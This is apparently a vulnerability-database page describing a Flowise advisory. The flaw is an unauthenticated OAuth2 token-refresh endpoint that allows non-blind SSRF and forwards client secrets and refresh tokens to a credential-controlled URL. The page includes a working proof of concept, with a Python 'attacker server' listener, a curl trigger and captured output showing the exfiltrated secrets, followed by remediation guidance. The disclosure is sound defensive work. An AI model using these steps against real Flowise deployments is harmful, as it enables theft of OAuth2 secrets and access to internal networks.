Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
PR:L because setup requires authenticated credential creation; S:C and C:H for SSRF reaching internal networks and full OAuth2 secret exfiltration; no integrity or availability impact.
Primary rating from Vendor (https://github.com/FlowiseAI/Flowise).
CVSS VectorVendor: https://github.com/FlowiseAI/Flowise
Lifecycle Timeline
3DescriptionCVE.org
Summary
The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.
Details
The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.
Confirmed in runtime code:
- Unauthenticated route via whitelist
dist/utils/constants.jsincludes:/api/v1/oauth2-credential/callback/api/v1/oauth2-credential/refreshdist/index.jsauth middleware uses:const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))- Therefore
/api/v1/oauth2-credential/refresh/:credentialIdis treated as whitelisted.
- User-controlled SSRF target
- In refresh handler (
dist/routes/oauth2/index.js): - loads credential by
credentialId - decrypts credential data
- reads
accessTokenUrl - executes:
axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)- No
secureAxiosRequest()/ denylist wrapper is used in this path.
- Non-blind response reflection
- Response returns:
tokenInfo: { ...tokenData, ... }tokenDatais the attacker/internal server response body.
- Secrets sent to SSRF target
- Request body includes:
client_idclient_secretgrant_type=refresh_tokenrefresh_token
PoC
Environment used
flowiseai/flowise:latestcontainer (localhost:3000)- Attacker server (
localhost:18081) returning JSON
Step 1: Start attacker server
python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
def do_POST(self):
l = int(self.headers.get('Content-Length','0'))
b = self.rfile.read(l).decode('utf-8', errors='replace')
print('REQUEST_PATH', self.path, flush=True)
print('REQUEST_BODY', b, flush=True)
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
def log_message(self, fmt, *args):
pass
HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PYStep 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)
In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.
Resulting credential ID used in runtime validation:
24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef
Step 3: Trigger refresh without auth
curl -i -X POST \
http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
-H 'Content-Type: application/json' \
-d '{}'Observed response:
{
"success": true,
"message": "OAuth2 token refreshed successfully",
"credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
"tokenInfo": {
"ok": true,
"source": "attacker-server",
"echo_len": 76,
"has_new_refresh_token": false
}
}Attacker server logs captured:
REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2This confirms:
- unauthenticated trigger,
- server-side POST to attacker-controlled URL,
- exfiltration of OAuth2 secrets in POST body,
- full response reflection to client (
tokenInfo).
Impact
- Vulnerability class: Non-blind SSRF + sensitive secret exfiltration.
- Who can set up attack: Any authenticated user who can create/update OAuth2 credentials.
- Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).
- Technical impact:
- outbound SSRF to attacker/internal targets,
- direct leak of
client_secretandrefresh_tokento SSRF target, - direct response read from target via API response (
tokenInfo). - Deployment impact:
- cloud/internal network reachability can expose metadata/internal services depending on egress controls.
AnalysisAI
Unauthenticated SSRF with non-blind response reflection and OAuth2 secret exfiltration in Flowise affects all versions through 3.1.2. The OAuth2 token refresh endpoint is intentionally whitelisted from authentication but issues server-side HTTP POST requests to a credential-stored URL without SSRF controls, allowing any caller who knows a credential UUID to redirect the server to an attacker-controlled host and receive the full response body. A working proof-of-concept was confirmed against the flowiseai/flowise:latest container, with the exploit also exfiltrating client_secret and refresh_token values in the outbound POST body to the attacker server. No public exploit is independently confirmed as widespread, but the PoC is detailed and functional.
Technical ContextAI
Flowise is an open-source Node.js/TypeScript LLM orchestration platform (npm package flowise, CPE pkg:npm/flowise). The vulnerable path is the OAuth2 credential refresh handler in dist/routes/oauth2/index.js. The route prefix /api/v1/oauth2-credential/refresh is string-prefix matched against the public whitelist in dist/utils/constants.js, causing the auth middleware (startsWith check) to pass all requests under that prefix, including /refresh/:credentialId. The handler decrypts the stored credential using the database-backed credentialId, reads accessTokenUrl, and invokes axios.post(tokenUrl, ...) directly without using the application's secureAxiosRequest() wrapper or any URL denylist. The root cause is classified as CWE-639 (Authorization Bypass Through User-Controlled Key) because the credentialId UUID is the sole gate for the unauthenticated trigger; however, the exploitation mechanism is fundamentally SSRF (CWE-918), compounded by full response body reflection (non-blind) and secret forwarding. The fix in 3.1.3 introduces validateOAuth2Url() with domain allowlisting (OAUTH2_ALLOWED_TOKEN_DOMAINS) and replaces the bare axios.post() call with secureAxiosRequest() from the flowise-components package.
RemediationAI
Upgrade Flowise to version 3.1.3 or later, which introduces URL validation via validateOAuth2Url() and replaces the unprotected axios.post() with the secureAxiosRequest() wrapper in the OAuth2 refresh and callback handlers. The patch is confirmed at commit da8b251a9a4c59484ceaf6f71df7406aede7bef2 (https://github.com/FlowiseAI/Flowise/commit/da8b251a9a4c59484ceaf6f71df7406aede7bef2) and tagged in the flowise@3.1.3 release. After upgrading, set the environment variable OAUTH2_SECURITY_CHECK=true to enable domain validation, and populate OAUTH2_ALLOWED_TOKEN_DOMAINS with a comma-separated allowlist of legitimate OAuth2 provider domains (e.g., accounts.google.com,login.microsoftonline.com). If immediate upgrade is not possible, restrict network egress from the Flowise container to known OAuth2 provider IP ranges and block access to internal metadata endpoints such as 169.254.169.254; this does not prevent credential exfiltration to external attacker servers but limits lateral movement. Alternatively, place an authenticating reverse proxy in front of /api/v1/oauth2-credential/refresh to enforce authentication on that prefix, restoring the intent of the whitelist bypass. Note: the whitelist string-prefix match is a structural flaw - removing the route from the whitelist without re-evaluating OAuth2 callback flows may break legitimate callback handling.
Same technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-52698
GHSA-r745-8hwv-h473